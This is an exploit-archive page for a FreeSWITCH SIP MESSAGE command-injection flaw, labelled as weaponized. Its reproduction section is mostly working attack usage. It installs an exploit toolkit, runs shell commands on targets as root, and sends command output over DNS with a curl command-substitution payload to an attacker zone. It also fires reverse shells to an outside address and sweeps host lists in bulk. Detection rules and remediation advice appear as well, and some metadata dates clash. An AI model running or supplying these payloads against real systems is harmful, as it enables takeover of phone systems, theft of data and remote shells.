PoC Archive PoC Archive
CVE-2026-116779 category: network CVSS 9.8 (CRITICAL) KEV EPSS 44%
Patched

FreeSWITCH CVE-2026-116779 — Inbound SIP MESSAGE api Chat-Proto Command Injection

Published: 2026-11-25 • Researcher: hackzuoji (fscve PoC toolkit); SignalWire / FreeSWITCH Security Team (GHSA-mg63-h38w-8p9p advisory)

Target software FreeSWITCH (mod_sofia presence handling + mod_dptools chat interfaces)
Affected versions FreeSWITCH < 1.11.3 (NVD range <1.11.3); fixed in 1.11.3
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV EPSS 44%

Confirmed exploited in the wild. Added to CISA KEV 2026-11-09. Federal remediation deadline 2026-11-12.

EPSS 43.7% · 99th percentile

Severity
Critical
CVE
CVE-2026-116779 (GHSA-mg63-h38w-8p9p)
Category
network
Affected product
FreeSWITCH (mod_sofia presence handling + mod_dptools chat interfaces)
Affected versions
FreeSWITCH < 1.11.3 (NVD range <1.11.3); fixed in 1.11.3
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-07
Author / Researcherhackzuoji (fscve PoC toolkit); SignalWire / FreeSWITCH Security Team (GHSA-mg63-h38w-8p9p advisory)
CVE / AdvisoryCVE-2026-116779 (GHSA-mg63-h38w-8p9p)
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
TagsRCE, command-injection, CWE-78, SIP, FreeSWITCH, VoIP, digest-auth, reverse-shell, DNS-exfiltration
RelatedN/A

Affected Target

FieldValue
Software / SystemFreeSWITCH (mod_sofia presence handling + mod_dptools chat interfaces)
Versions AffectedFreeSWITCH < 1.11.3 (NVD range <1.11.3); fixed in 1.11.3
Language / PlatformC; FreeSWITCH daemon on Linux/Unix; SIP over UDP or TCP (default profile on 5060; 5080 examples also common)
Authentication RequiredPartial — inbound MESSAGE authentication depends on profile config: anonymous when disable-auth-messages is set, otherwise a valid digest-authenticated directory account (the stock 1000–1019 / 1234 directory defaults are a common path)
Network Access RequiredYes — a single crafted SIP MESSAGE from any peer the profile accepts

Summary

FreeSWITCH before 1.11.3 mishandles inbound SIP MESSAGE requests: the presence handler splits the To user on a plus sign and treats the left-hand side as a chat protocol selector without an allow-list. Choosing the api proto registered by the dialplan tools module reaches the FreeSWITCH API dispatcher, so a peer whose MESSAGE is accepted can run API commands and, through the system API, operating-system commands with daemon privileges. Inbound chat is enabled on the stock internal and external profiles, the flaw is tracked as CWE-78 with a CVSS of 9.8, and exploitation has been observed in the wild. The upstream toolkit archived here implements the full attack: it sends the crafted MESSAGE (with digest authentication when credentials are available), runs arbitrary API or shell commands, reads command output back over DNS, and fires reverse-shell payloads.

Vulnerability Details

Root Cause

sofia_presence_handle_sip_i_message() in src/mod/endpoints/mod_sofia/sofia_presence.c copies the To user of an inbound MESSAGE into a fixed 512-byte buffer and splits it at the first +, using the left side as the chat protocol name and the right side as the command body. There is no allow-list check on the selected protocol. mod_dptools registers a chat interface named api whose handler URL-decodes the remainder and passes it straight to switch_api_execute(), the same dispatcher used by the in-tree console and event-socket APIs. Because system is one of the API commands, the chat layer becomes an OS command sink. Fixed in 1.11.3 by adding an enable-chat-api-proto gate that is off by default and causes such MESSAGEs to be answered with 403.

Attack Vector

An attacker sends one SIP MESSAGE to the target’s SIP profile with a To user of the form api+<encoded command>, for example To: <sip:api+system%20id@target>. Spaces must be percent-encoded as %20 and a literal + as %2B; mod_sofia rewrites the first surviving + in the To user into @, and switch_url_decode() does not treat + as a space. When the profile challenges with 401/407, the request must be answered with a valid digest Authorization header, which the toolkit computes from a supplied directory username/password. Stock profiles enable inbound chat and default directory accounts are often left in place.

Impact

Remote code execution as the FreeSWITCH daemon user (root in many default deployments, which the upstream mitigation list explicitly warns against). Any FreeSWITCH API is reachable, including system, xml_locate, global_getvar, and sofia commands; the archived tooling demonstrates arbitrary shell commands with out-of-band DNS exfiltration, a fetched second-stage payload, and bash/nc/python3 reverse shells. Compromise yields full control of the PBX, its dialplan and credentials, and any host resource readable by the daemon.

Environment / Lab Setup

Output
OS:          Linux (any distro supported by FreeSWITCH); Docker or VM
Target:      FreeSWITCH 1.10.x (vulnerable), stock internal/external SIP profiles,
             inbound chat enabled (default), daemon user per packaging
Attacker:    Linux/macOS with Python 3.8+ (stdlib only) and reachability to 5060/udp or 5060/tcp
Tools:       fscve CLI (this archive), curl or wget on the target for DNS exfil,
             an OAST/DNS zone you control (or dnslog.cn), nc for the reverse-shell listener

Setup Steps

Shell script
1
2
3
4
5
6
7
8
git clone https://github.com/hackzuoji/freeswitch-cve-2026-116779-POC.git
cd freeswitch-cve-2026-116779-POC
pip install -e .

fscve detect -t 10.0.0.5                 # default 5060/tcp
fscve detect -t 10.0.0.5:5080 --udp

fscve detect -t 10.0.0.5 --user 1000 --password 1234

Proof of Concept

Step-by-Step Reproduction

  1. Fingerprint the api chat proto — detect sends To: <sip:api+version@host> and maps the reply: 2xx means the proto was reached, 403 means the 1.11.3 gate is present, 401/407 means digest credentials are required.
    Shell script
    1
    
    fscve detect -t 10.0.0.5 --json
  2. Run a FreeSWITCH API command — the same MESSAGE path executes any API, which is the cleanest proof that the chat layer reaches switch_api_execute().
    Shell script
    1
    2
    
    fscve api -t 10.0.0.5 "status"
    fscve api -t 10.0.0.5 --user 1000 --password 1234 "sofia status profile internal"
  3. Execute an OS command and read stdout back — shell wraps the command in a subshell, hex-encodes stdout, and makes the target resolve <hex>.<tag>.<zone>; the REST collector (dnslog.cn) or your own zone returns the label.
    Shell script
    1
    2
    
    fscve shell -t 10.0.0.5 --user 1000 --password 1234 "id"
    fscve shell -t 10.0.0.5 --zone abc123.your-oast.example "hostname; id"
  4. Blind confirmation — when the target has no DNS egress, send the system API directly through the same MESSAGE path. Only the SIP status comes back, so use it for side effects (file writes, callbacks) rather than output.
    Shell script
    1
    
    fscve api -t 10.0.0.5 --user 1000 --password 1234 "system touch /tmp/pwned"
  5. Reverse shell — three engines (bash /dev/tcp, nc, python3) are fired as separate MESSAGES because one command cannot exceed the To-user budget.
    Shell script
    1
    2
    
    nc -lvnp 4444
    fscve rev -t 10.0.0.5 --user 1000 --password 1234 203.0.113.9:4444
  6. Scale out (lab only) — sweep detects a host list concurrently and writes JSONL; confirm every 2xx host with a DNS payload, since the chat layer is an asynchronous queue and a 202 proves nothing about execution.
    Shell script
    1
    
    fscve sweep -f hosts.txt --workers 16 --out results.jsonl

Exploit Code

See fscve/sip.py (payload encoding, MESSAGE builder, digest auth), fscve/core.py (api / blind system / DNS-verified shell), fscve/cli.py (entry point + reverse-shell templates), fscve/dns.py (hex exfil + dnslog.cn collector), fscve/transport.py (TCP/UDP/SOCKS5), and the nuclei/CVE-2026-116779.yaml template for the anonymous case. Offline harness: tests/mock_freeswitch.py.

The wire request the tooling produces:

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
MESSAGE sip:api+system%20id@10.0.0.5:5060 SIP/2.0
Via: SIP/2.0/TCP 127.0.0.1:5060;branch=z9hG4bK<rand>;rport
Max-Forwards: 70
From: "fscve" <sip:fscve@invalid>;tag=<rand>
To: <sip:api+system%20id@10.0.0.5:5060>
Call-ID: <rand>@fscve
CSeq: 1 MESSAGE
Contact: <sip:fscve@invalid>
User-Agent: fscve
Content-Type: text/plain
Content-Length: 0

Expected Output

Detection, one line per target state:

Output
1
2
3
4
5
6
7
8
$ fscve detect -t 10.0.0.5
[ACCEPTED] 10.0.0.5:5060  status=202  api chat proto reachable; run a DNS payload to prove execution

$ fscve detect -t 10.0.0.5
[PATCHED] 10.0.0.5:5060  status=403  api chat proto rejected (1.11.3+ enable-chat-api-proto gate)

$ fscve detect -t 10.0.0.5
[AUTH-REQ] 10.0.0.5:5060  status=401  digest challenge; supply --user/--password

Out-of-band command execution proof (illustrative; the decoded label is the command output):

Output
1
2
3
4
5
$ fscve shell -t 10.0.0.5 --user 1000 --password 1234 "id"
[*] collector zone: <session>.dnslog.cn
[*] payload: system curl -s http://$( ( id ; echo " rc=$?" ) </dev/null 2>&1 | od -An -tx1 | tr -d ' \n').x1a2b3c.<zone>/
[VULNERABLE] 10.0.0.5:5060  status=202  executed
    uid=0(root) gid=0(root) groups=0(root) rc=0

Detection & Indicators of Compromise

  • SIP MESSAGE requests whose To/R-URI user begins with api+ (or any unexpected <proto>+), especially with percent-encoded command text such as system%20, %2Fbin%2F, curl%20, nc%20, bash%20.
  • Outbound DNS queries for long single labels of hex characters (<hex>.<tag>.<zone>) originating from the FreeSWITCH host, or HTTP fetches to a $(...)-style command-substitution URL.
  • On 1.11.3+ builds the daemon logs: Profile [name] rejected a MESSAGE from ... addressed to the 'api' chat proto [...]. A successful pre-patch exploitation attempt shows the same MESSAGE answered 202 plus chat-queue worker activity.
  • Inbound MESSAGE floods with 401/407 retries carrying digest credentials, or repeated system API invocations in verbose sofia/console logs.
  • New unexpected reverse-shell connections from the PBX to attacker infrastructure, or /tmp/.x FIFO artifacts left by the nc payload.

SIEM / IDS Rule (example):

Output
1
2
3
alert tcp any any -> any 5060 (msg:"FreeSWITCH CVE-2026-116779 api chat-proto injection";
  flow:to_server,established; content:"MESSAGE sip:api+"; nocase;
  content:"SIP/2.0"; within:220; classtype:attempted-admin; sid:900116779; rev:1;)

Remediation

ActionDetail
PatchUpgrade to FreeSWITCH 1.11.3 or later (fix commit 7015f6a73ab3d67fed5fbfc277ecfb88a74c2a86, GHSA-mg63-h38w-8p9p). Verify with fscve detect returning 403.
WorkaroundKeep MESSAGE authentication enabled (disable-auth-messages must not be set), remove or rotate default directory credentials (1000–1019 / 1234), and set <param name="enable-chat" value="false"/> where inbound chat is unused.
Config HardeningRestrict SIP 5060/5080 to trusted peers via ACL/SBC, keep enable-chat-api-proto absent or false, run FreeSWITCH as an unprivileged user, and egress-filter DNS/HTTP from the PBX host so exfil and second-stage fetch fail.

References

Notes

Auto-ingested from https://github.com/hackzuoji/freeswitch-cve-2026-116779-POC on 2026-11-25. Review verdict: real exploit tooling, not just a detector. The repository also ships detect and sweep (fingerprinting the 403/401/2xx gate) and a Nuclei template, but the exploit path is central and functional: api dispatches arbitrary FreeSWITCH API commands, shell runs system payloads and reads stdout back over DNS, and rev fires three reverse-shell engines. Status is Weaponized on that basis, although this archive did not re-execute the payloads.

Limitations: exploitation needs a MESSAGE accepted by the profile — anonymous only where disable-auth-messages is set, otherwise a valid digest account (the upstream README notes the default 1000/1234 directory accounts as the common path). The To user is truncated at char proto[512], so the encoded command must stay under about 500 bytes; longer jobs need the fetch-then-run two-step. Reading command output requires the target to resolve your zone (or dnslog.cn reachability); without egress only blind execution is possible, and a SIP 2xx by itself proves nothing because chat delivery is queued asynchronously. The tooling speaks SIP/TCP when a SOCKS5 proxy is used, which hides UDP-only profiles.

Licensing: MIT (LICENSE copied verbatim). Preserved filenames and upstream directory layout under fscve/, nuclei/, examples/, tests/; the upstream README is stored as upstream-README.md, the Chinese README and .git/__pycache__ were not copied. A disclaimer header was added to fscve/cli.py and fscve/sip.py. Use only against systems you own or are explicitly authorized to test.